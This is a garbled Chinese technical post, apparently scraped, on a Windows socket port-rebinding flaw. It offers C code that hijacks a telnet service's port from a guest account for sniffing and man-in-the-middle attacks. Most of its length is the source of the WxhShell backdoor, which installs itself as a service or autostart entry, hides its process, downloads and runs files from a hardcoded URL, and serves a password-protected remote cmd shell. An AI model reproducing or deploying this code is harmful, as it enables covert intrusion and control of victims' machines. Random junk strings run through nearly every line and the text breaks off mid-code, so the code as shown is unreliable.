在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
g}]EIv{ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
X;?Z_3I:5 2m?!!Weq saddr.sin_family = AF_INET;
2iM8V n_Ka+Y< saddr.sin_addr.s_addr = htonl(INADDR_ANY);
?98]\pI
Dxwv\+7] bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
OLdD3OI U8b1
sz 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
J '^xDIZX *KXg;777 这意味着什么?意味着可以进行如下的攻击:
",
:Ta| M:~/e8Xv 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
/<s$Am 6!3Jr 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
I:qfB2tL)O o,sw[ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
T"GuE[?a >Lo!8Hen 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
dWI.t1`i $.z~bmH"D 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
]%y~cq D-8>?`n\ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
BI\+NGrB 5w#*JK 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
'%m0@5|hCD DJ9;{,gm #include
N+vU@)_lC #include
0KF)+`CC> #include
v^lR]9; #include
` tkd1M DWORD WINAPI ClientThread(LPVOID lpParam);
g1uqsqYt int main()
'1}rQq Z {
; YaR|)B WORD wVersionRequested;
}bv0~}G4 DWORD ret;
/ h6(!-" WSADATA wsaData;
Z`?<A da BOOL val;
Jb~ -)n2 SOCKADDR_IN saddr;
E00zf3Jgv' SOCKADDR_IN scaddr;
xmDX1sL** int err;
Ohm>^N;
SOCKET s;
aqb;H 'F SOCKET sc;
J9LS6~
7 int caddsize;
I@=h|GM HANDLE mt;
m\lSBy6 DWORD tid;
,qRSB>5c wVersionRequested = MAKEWORD( 2, 2 );
?[W(r$IaE err = WSAStartup( wVersionRequested, &wsaData );
RTSR-<{z if ( err != 0 ) {
{}3kla{ printf("error!WSAStartup failed!\n");
bmAgB}Ior return -1;
sK:,c5^ }
t#y saddr.sin_family = AF_INET;
xX'Uq_Jv ndm19M8Y| //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
gKZ{ O |<.b:e\4 saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
{/BEO=8q2 saddr.sin_port = htons(23);
R0<ka[+ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
n;"4`6L~ {
z#!xqIg0 printf("error!socket failed!\n");
4:}`X return -1;
QD:0iD? }
xLZQ\2q val = TRUE;
lO9{S=N //SO_REUSEADDR选项就是可以实现端口重绑定的
g[;iVX^1& if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
f*~ 4Kv {
%uGA+ \b printf("error!setsockopt failed!\n");
Yi[dS`,d return -1;
t.pg;# }
33kI#45s //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
Yf:utCvv //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
O#7ldF( //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
2t { Cpw s8|#sHT if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
UBRMV
s {
e>t9\vN#bx ret=GetLastError();
bq4H4?j printf("error!bind failed!\n");
'w%N(N tq return -1;
GtO5,d_ }
!9"R4~4 listen(s,2);
p _e-u- while(1)
U!a"r8u|8q {
hkgPC- caddsize = sizeof(scaddr);
+&\TdvNI4 //接受连接请求
Ut-6!kAm sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
>B~jPU if(sc!=INVALID_SOCKET)
=DxJt7J1 {
y`Pp"!P"O mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
~~1~ _0?e if(mt==NULL)
~+>M,LfK {
wZa;cg.-q printf("Thread Creat Failed!\n");
!BEOeq@2. break;
\| >eG u }
%FFw!eVi }
FA^x|C =$ CloseHandle(mt);
w=e,gNO }
N0RFPEQ~ closesocket(s);
, m|9L{ WSACleanup();
>2syF{`j return 0;
f9- |!]s }
z% /ww7H DWORD WINAPI ClientThread(LPVOID lpParam)
>KY\Bx {
>q &ouVE SOCKET ss = (SOCKET)lpParam;
TjI NxP-O SOCKET sc;
e+R.0E unsigned char buf[4096];
N/?MsrZw SOCKADDR_IN saddr;
HHnabSn}{q long num;
MF\n@lX DWORD val;
J+*rjdI DWORD ret;
!CBx$1z //如果是隐藏端口应用的话,可以在此处加一些判断
!v;r3*#Nky //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
UuT[UB=x5 saddr.sin_family = AF_INET;
)N=b<%WD saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
lIjHd#q-C saddr.sin_port = htons(23);
Aq'%a)Y2 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
=cC]8Pz? {
Bh' vr3| printf("error!socket failed!\n");
eBAB7r/7 return -1;
KR^peWR }
1yB;"q&Xd val = 100;
.;KupQ;* if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
u}%&LI`. {
` `;$Kr ret = GetLastError();
')1sw%[2 return -1;
Mqh~ 5NM }
F[=m|MZb if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
^Js9E {
3Xh&l[. ret = GetLastError();
_TPo=}Z return -1;
jATU b- }
UdI>x 4bI if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
DpS6>$v8t {
omjLQp[% printf("error!socket connect failed!\n");
93WYZNpX closesocket(sc);
;5|EpoM closesocket(ss);
&yA<R::o return -1;
(x^| }
=-VV` while(1)
ONGe/CEXT {
mW-@-5Wda //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
I(<G;ft<} //如果是嗅探内容的话,可以再此处进行内容分析和记录
u3. PHZ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
@E>^\!nH num = recv(ss,buf,4096,0);
%9D@W*Z if(num>0)
{H+?DMh send(sc,buf,num,0);
BkZ%0rw% else if(num==0)
CXQ?P break;
8S02
3 num = recv(sc,buf,4096,0);
AX,Db%`l, if(num>0)
tJu<#hX send(ss,buf,num,0);
:9h8q"T else if(num==0)
Gj ^bz'2 break;
|TUpv*pq }
Np-D:G closesocket(ss);
Q~@8t"P closesocket(sc);
9bNIaC*M return 0 ;
G2^DukK. }
VDPN1+1* }1W$9\% y*(YZ zF ==========================================================
>@L
HJ61C a2rv4d= 下边附上一个代码,,WXhSHELL
=0)^![y]v xqtjtH9X ==========================================================
m5p~>]}fYF " /'=gE #include "stdafx.h"
k`AJ$\= >gSerDH8\ #include <stdio.h>
%xfy\of+Nk #include <string.h>
$"FdS,*qKl #include <windows.h>
F:@Ixk?E #include <winsock2.h>
,pASjFWi #include <winsvc.h>
piG1&* #include <urlmon.h>
Ji!-G4.n" 1%@~J\qF #pragma comment (lib, "Ws2_32.lib")
Qm.kXlsDI #pragma comment (lib, "urlmon.lib")
0\#Q;Z2 @
tIB'|O #define MAX_USER 100 // 最大客户端连接数
`@eH4}L* #define BUF_SOCK 200 // sock buffer
E nvs[YZe #define KEY_BUFF 255 // 输入 buffer
9>#|~P&FE JJ~?ON.H #define REBOOT 0 // 重启
_)l %-*Z7p #define SHUTDOWN 1 // 关机
u
.2sB6} W$JA4O>b #define DEF_PORT 5000 // 监听端口
:z\f.+MI CN=&Je%I #define REG_LEN 16 // 注册表键长度
~ tLR #define SVC_LEN 80 // NT服务名长度
Vw*x3>` Ax0,7,8y // 从dll定义API
+Y~+o-_ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
W =zG typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
??m7xH5u1 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
ifs*-f typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
-"zu"H~t4 8[C6LG // wxhshell配置信息
6b/b}vl struct WSCFG {
':V_V. : int ws_port; // 监听端口
]1&9~TL char ws_passstr[REG_LEN]; // 口令
~{+{p cO} int ws_autoins; // 安装标记, 1=yes 0=no
X4$e2f char ws_regname[REG_LEN]; // 注册表键名
2f!oA~|2 char ws_svcname[REG_LEN]; // 服务名
YP<]f>SBt char ws_svcdisp[SVC_LEN]; // 服务显示名
~qS/90, char ws_svcdesc[SVC_LEN]; // 服务描述信息
jEsTw_ char ws_passmsg[SVC_LEN]; // 密码输入提示信息
MQ*#oVqv int ws_downexe; // 下载执行标记, 1=yes 0=no
DH
!Br char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
S
|x)7NC char ws_filenam[SVC_LEN]; // 下载后保存的文件名
c2^7"` OkZ! ZS
h };
psC7IE<v doc // default Wxhshell configuration
XX-T", struct WSCFG wscfg={DEF_PORT,
q&E5[/VK: "xuhuanlingzhe",
(g m^o{ 1,
X^Y9T`mQ} "Wxhshell",
^I{]Um: "Wxhshell",
kMl< "WxhShell Service",
uC(S`Q[Bg "Wrsky Windows CmdShell Service",
N
>!xedw= "Please Input Your Password: ",
gJ.6m&+ 1,
1J"9r7\ "
http://www.wrsky.com/wxhshell.exe",
pYVy(]1I(3 "Wxhshell.exe"
H040-Q;S' };
:
xZC7" aELT"b,x // 消息定义模块
SSLshY~d char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
^qx\ e$R char *msg_ws_prompt="\n\r? for help\n\r#>";
a{*'pY(R0$ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
Z5Ihc%J^ char *msg_ws_ext="\n\rExit.";
_)E8XyzF char *msg_ws_end="\n\rQuit.";
rhTk}2@h char *msg_ws_boot="\n\rReboot...";
! |h2&tH char *msg_ws_poff="\n\rShutdown...";
{,FeNf46 char *msg_ws_down="\n\rSave to ";
vkpV,}H rO$>zdmYHs char *msg_ws_err="\n\rErr!";
va(9{AXI char *msg_ws_ok="\n\rOK!";
;CMC`h9, 23$hwr&G\ char ExeFile[MAX_PATH];
|u"R(7N* int nUser = 0;
?ev G=S4> HANDLE handles[MAX_USER];
.p9h$z^ int OsIsNt;
P$/A! r rp#*uV9; SERVICE_STATUS serviceStatus;
X&s\_jQ SERVICE_STATUS_HANDLE hServiceStatusHandle;
a{HgIQg_>R &H1D!N // 函数声明
H}V*<mgw int Install(void);
$Q?G*@y int Uninstall(void);
4sBoD=e int DownloadFile(char *sURL, SOCKET wsh);
5?L:8kHsH int Boot(int flag);
j!MA]0lTM void HideProc(void);
6r=)V$K< int GetOsVer(void);
%]0U60 int Wxhshell(SOCKET wsl);
&NjZD4m`= void TalkWithClient(void *cs);
8ex:OTzn| int CmdShell(SOCKET sock);
7(8 int StartFromService(void);
q;../h]Ne int StartWxhshell(LPSTR lpCmdLine);
J+ZdZa}Ob $lAb6e$n VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
e'Us(]ZO VOID WINAPI NTServiceHandler( DWORD fdwControl );
[y[v]'
|C6(0fgWd // 数据结构和表定义
ICbdKgLz SERVICE_TABLE_ENTRY DispatchTable[] =
Zmbz-##HQ {
G\N"rG = {wscfg.ws_svcname, NTServiceMain},
7]xz8t {NULL, NULL}
@GZa:( };
~oA9+mT5 %[\x%m) // 自我安装
Z*(!`,.bB int Install(void)
J
s<MJ4r>/ {
5m USh3 char svExeFile[MAX_PATH];
p5;,/
|Ft HKEY key;
w+9C/U;|s strcpy(svExeFile,ExeFile);
J=SB/8tQ)T zg Y*|{4Sl // 如果是win9x系统,修改注册表设为自启动
0rJ\e if(!OsIsNt) {
Ya&\ly
/i if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
@VC9gdO/ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Qv0>Pf RegCloseKey(key);
,cy/fW if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
_Kl{50}] RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
bOSYr<R& RegCloseKey(key);
mGpkM?Y" return 0;
>)J47j7{c }
h}`&]2|] }
PP[)h,ZL* }
q8xc70: R else {
yCkW2p]s,K $F@L$&~ // 如果是NT以上系统,安装为系统服务
aU.0dsq SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
JNM@Q if (schSCManager!=0)
76_8e{zbr {
_h=<_Z SC_HANDLE schService = CreateService
'x,GI\;? (
JIbzh?$aD schSCManager,
XJlDiBs9=Q wscfg.ws_svcname,
b8{h[YJL2 wscfg.ws_svcdisp,
b!5tFX;J SERVICE_ALL_ACCESS,
t:"=]zUU SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
{`Fx~w;i SERVICE_AUTO_START,
18p3 SERVICE_ERROR_NORMAL,
U??f< svExeFile,
4`! NULL,
u5XU`! NULL,
OU.9 #|q U NULL,
`YmI' NULL,
Q0q)n=i}] NULL
)_Xxk_ );
t`8e#n 9 if (schService!=0)
COan)<Ku {
nL+YL CloseServiceHandle(schService);
OZC/+"\, CloseServiceHandle(schSCManager);
!w#ru?L{ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
1f@U:<: strcat(svExeFile,wscfg.ws_svcname);
uWR,6\_jY if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
HDSA]{:sl RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
bV )PT`-, RegCloseKey(key);
J!A/r< return 0;
WrHgF*[ }
7\0|`{|R@ }
\p3nd!OIG CloseServiceHandle(schSCManager);
PD}SPOA`U3 }
cGpN4|*rQ }
*`g-gk (J^Lqh_ return 1;
<^*+8{* }
+6#%P %KJhtd"q // 自我卸载
@q{:Oc^ int Uninstall(void)
k{}[>))Q {
#zSi/r/=1 HKEY key;
9#s95RO TM/|K|_ if(!OsIsNt) {
iB}LnC: if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
9o_ g_q RegDeleteValue(key,wscfg.ws_regname);
qrM{b= RegCloseKey(key);
Ft"&NtXeZZ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
[TbG55 RegDeleteValue(key,wscfg.ws_regname);
zqvRkMWc M RegCloseKey(key);
vSYunI return 0;
HoIKx_ }
s;-78ejj7 }
p-Rm,xyL% }
-VreBKn else {
"
g0-u(Y O{")i;v@ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
iJdrY6qd if (schSCManager!=0)
EG(`E9DZ {
_Qm7x>NT4 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
wv7p,9Z[ if (schService!=0)
OXIu>jF {
yd0=h7s if(DeleteService(schService)!=0) {
_>jrlIfc CloseServiceHandle(schService);
;9p#xW6 CloseServiceHandle(schSCManager);
i3M?D}(Bs return 0;
]uStn }
U!a!|s> CloseServiceHandle(schService);
[U%ym{be^ }
Yhc6P%{Z^ CloseServiceHandle(schSCManager);
M!&_qj&N, }
H IPcZ!p }
;<bj{#mMv "o^bN 9= return 1;
C;d|\[7Z }
/`4v"f0V r&%gjqt // 从指定url下载文件
BGlGpl int DownloadFile(char *sURL, SOCKET wsh)
Gs_*/E7, {
Lo|NE[b:G HRESULT hr;
S{^6iR char seps[]= "/";
TdNuD V char *token;
Xb(CH#*{z char *file;
w&wA >q>& char myURL[MAX_PATH];
{(m+M char myFILE[MAX_PATH];
2d5}`> R
"/xne strcpy(myURL,sURL);
5';/@M token=strtok(myURL,seps);
SZim>@R while(token!=NULL)
B^8ZoF {
LaIW,+ file=token;
+ AcKB82 token=strtok(NULL,seps);
?o(ZTlT }
Aj8l%'h[ *1|YLy GetCurrentDirectory(MAX_PATH,myFILE);
x38SSzG:L strcat(myFILE, "\\");
tsTR2+GZS strcat(myFILE, file);
P[Y{LKAbb send(wsh,myFILE,strlen(myFILE),0);
$'A4RVVT send(wsh,"...",3,0);
iX8h2l hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
a'
IX yj if(hr==S_OK)
{\vI9cni|" return 0;
'h!h! else
ULp)T`P return 1;
avu*>SB UC8vR>e\ }
Whv]88w{ JYZ2k=zh // 系统电源模块
88 Fb1!a5Z int Boot(int flag)
763E 6,7 {
ri/t(m^{W HANDLE hToken;
w8AJ#9W TOKEN_PRIVILEGES tkp;
! 6p>P4TT o|z+!, if(OsIsNt) {
io1S9a(y OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
\]Y\P~n LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
l 8O"w& tkp.PrivilegeCount = 1;
E/"YId `A tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
~pHJ0g:t AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
EzzTJ> if(flag==REBOOT) {
2x-'>i_|g if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
8yHq7= return 0;
~/^y.SsWM }
mV6#!_" else {
<u6c2!I{ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
MZCL:# return 0;
e+NWmu{<_ }
?60>'Xjj }
=]=B}L` else {
fp.!VOy if(flag==REBOOT) {
+IwdMJ8&8 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
Xtuhc dzu[ return 0;
@rPI$ia1~ }
I#i?** else {
ry$tK"v/ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
*hv=~A
$q return 0;
7[ZkM+z! }
r/UYC"K3 }
.yZK.[x4 8!Wfd)4=,F return 1;
=jJ H^Y2 }
>}-~rZ `)rg|~#k // win9x进程隐藏模块
L_tjcfVo void HideProc(void)
%)zk..K{l {
9k+N3vA "sFW~Y HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
mZ`1JO9 if ( hKernel != NULL )
\\Y,?x_0T {
gb.f%rlZ` pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
Q{H17]W ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
wY' "ab FreeLibrary(hKernel);
T&?w"T2y }
$-m@KB 9uuta4&uI return;
i?ZA x4D }
]b}B~jD N YCj; ,V // 获取操作系统版本
;l$9gD>R int GetOsVer(void)
[<_"`$sm= {
MB1sQReOO OSVERSIONINFO winfo;
4O$ mR winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
pgCd GetVersionEx(&winfo);
?g5iok { if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
4BHtR017r return 1;
a`DWpc~ else
L30>|g return 0;
gdOe)il\ }
0LS-i% 0 N2ni3M5v // 客户端句柄模块
%,33gZzf int Wxhshell(SOCKET wsl)
BqQ] x'AF {
||R0U@F, SOCKET wsh;
/rqqC(1 struct sockaddr_in client;
qpoquWZ DWORD myID;
- o4@#p> > I|H,)!Z while(nUser<MAX_USER)
7 n\mj\ {
$2Ka u 1 int nSize=sizeof(client);
iwvt%7 wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
PoJmW^:} if(wsh==INVALID_SOCKET) return 1;
`tX@8| Nfr:`$k handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
P=c?QYF if(handles[nUser]==0)
Q6u{@$(/N closesocket(wsh);
a[q84[OQ else
D)y{{g*Lnm nUser++;
PXa5g5! }
s\6N }[s WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
+yGY785b p=2zS. return 0;
=D{B}=D\IM }
Dh2#$[/@1 3Hs$]nQ_X // 关闭 socket
kzMa+(fu void CloseIt(SOCKET wsh)
YbzM6u2 {
\$j^_C> closesocket(wsh);
oE$hqd s nUser--;
hXNH"0VCV ExitThread(0);
RV}GK
L>gn }
;{Xy`{Cg! i^R{Ul[ // 客户端请求句柄
vT%qILTrQf void TalkWithClient(void *cs)
;8BA~,4l {
~eHRlXL' 2@sr:,\1 SOCKET wsh=(SOCKET)cs;
yE}BfU { . char pwd[SVC_LEN];
9WOu8Ia char cmd[KEY_BUFF];
:"V ujvFX char chr[1];
D@#0 dDT int i,j;
XjxPIdX_H uWh|C9Y!A while (nUser < MAX_USER) {
n"iNKR>nW CldDr<k3 if(wscfg.ws_passstr) {
Mxo6fn6-46 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
h!v/s=8c //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
'5AvT:
^u //ZeroMemory(pwd,KEY_BUFF);
.?B{GnB> i=0;
l^ARW
E while(i<SVC_LEN) {
\9'!"-i p'gb)nI
// 设置超时
I'dj. fd_set FdRead;
W+.{4K struct timeval TimeOut;
inZi3@h)T FD_ZERO(&FdRead);
jM]d'E?ZLA FD_SET(wsh,&FdRead);
7(NXCAO81 TimeOut.tv_sec=8;
A?DB#-z.r TimeOut.tv_usec=0;
xkM] J)C int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
T(JuL<PB if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
$6#
lTYN~ alc] if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
DKTD Z* pwd
=chr[0]; %MbyKz:X
if(chr[0]==0xd || chr[0]==0xa) { t-!m
vx9Z
pwd=0; pr$~8e=c
break; D;jK/2
} #Mg lHQO+
i++; U-eI\Lu
} 3?@?-q2g
7lR<@$q
// 如果是非法用户,关闭 socket Ew]<jF|.#
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); %kq ^]S2O
} yc[(lq.^n
g,=^'D
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); b~*i91)\
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); F?cq'd
5/ * >v
while(1) { Pxqiv9D<R
'y.JcS!|
ZeroMemory(cmd,KEY_BUFF); ~p\n&{P0
rGQ5l1</
// 自动支持客户端 telnet标准 @; ;G88=
j=0; )&,K94
while(j<KEY_BUFF) { doM?8C#`
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); vOe0}cR
cmd[j]=chr[0]; =*O=E@]
if(chr[0]==0xa || chr[0]==0xd) { f TO+ZTRqf
cmd[j]=0; Tm_8<$ 7
break; ;%Q&hwj
} AWT"Y4Ie
j++; U<[jT=L
} Oc~aW3*A(
B6MkF"J<
// 下载文件 M&f#wQ
if(strstr(cmd,"http://")) { 7}%H2$Do
send(wsh,msg_ws_down,strlen(msg_ws_down),0); HxIoA
if(DownloadFile(cmd,wsh)) P6YQK+
send(wsh,msg_ws_err,strlen(msg_ws_err),0); B?3juyB`--
else hVM2/j
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); r|fO7PD
} W Y:s
gG
else { 6G}c1nWU
B.*"Xfr8
switch(cmd[0]) { 1"YpO"Rh
AF$\WWrB
// 帮助 K&dT(U
case '?': { DW|vMpU]u
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); +/y]h0aa
break; A=X-;N#
} )xt4Wk/
// 安装 -zKxf@"
case 'i': { Q'K$L9q
if(Install()) Ly>OLI0x_
send(wsh,msg_ws_err,strlen(msg_ws_err),0); #\ #3r
else 7"cv|6y|
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \|t{e8}
break; xA #H0?a]
} k':s =IXW
// 卸载 >f$NzJ}
case 'r': { XYAmJ
if(Uninstall()) S-!=NX&C
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0
iRR{a<
else "hPCQp`Tj
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <lj\#'G3
break; 3=-
})X;
} !re1EL
// 显示 wxhshell 所在路径 `!i-#~n
case 'p': { [/$N!2'5
char svExeFile[MAX_PATH];
RJ}#)cT
strcpy(svExeFile,"\n\r"); X;!~<~@Y
strcat(svExeFile,ExeFile); bfdVED
send(wsh,svExeFile,strlen(svExeFile),0); p/*"4-S
break; _a5(s2wq+
} `R+,1"5 =
// 重启 [@G`Afaf
case 'b': { "U8S81'
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ^npJUa
if(Boot(REBOOT)) }C,O
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;Z9IZ~
else { B4Lx{uno
closesocket(wsh); ,S!w'0k|n
ExitThread(0); CW`!}yu%
} f Iy]/
break; >emcJVYV`[
} H~o <AmE0!
// 关机 |"7Y52d
case 'd': { .'d2J> ~N
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 3n48 %5
if(Boot(SHUTDOWN)) }ZzLs/v%X
send(wsh,msg_ws_err,strlen(msg_ws_err),0); u|fXP)>.
else { ]db@RbaH
closesocket(wsh); kg>>D
ExitThread(0); 8omC%a}9m
} 2"&)W dm
break; zOB=aG?/
} A'-_TFwW
// 获取shell c\.P/~
case 's': { ,.v7FM^gO
CmdShell(wsh); 7bF*AYM
closesocket(wsh); Y7SacRO
ExitThread(0); CdZ BG
break; v\%G|8+]
} 33a uho
// 退出 L`[z[p{?
case 'x': { 79BaDB`{a
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); `.v(fC
CloseIt(wsh); xs!p|
break; GoE
'L
} ^Z}Ob= .G
// 离开 }}T,W.#%u
case 'q': { Jpj!rXTX*
send(wsh,msg_ws_end,strlen(msg_ws_end),0); W?z#pV+jt
closesocket(wsh); zp4W'8
WSACleanup(); '\~^TFi
exit(1); 0LL c 1t>}
break; Zyye%Ly
} 9[Qd)%MO
} \#,t O%D
} MGt]' }
JTW)*q9a
// 提示信息 J|~26lG
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); L*JPe"N-e
} ;>"nn
VW
} uf' 4'
\Fb| {6+
return; ,Em$ !n
} %b}gDWs
_*6v|Ed?
// shell模块句柄 k\7:{y@,
int CmdShell(SOCKET sock) XDz5b.,
{ ry0%a[[
STARTUPINFO si; EKZVF`L
ZeroMemory(&si,sizeof(si)); A6"Hk0Hf
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; }Je>;{&%
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ;*cLG#&'M
PROCESS_INFORMATION ProcessInfo; {9 PR()_
char cmdline[]="cmd"; pq!%?m]
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); #"f'7'TE
return 0; u8vuwbra!
} 80B>L
r\M9_s8
// 自身启动模式 {`"#yl6"
int StartFromService(void) Lm%GR[tyQ
{ w4:\N U
typedef struct =f 7r69I"
{ {nMAm/kyj
DWORD ExitStatus; Es'Um,ku
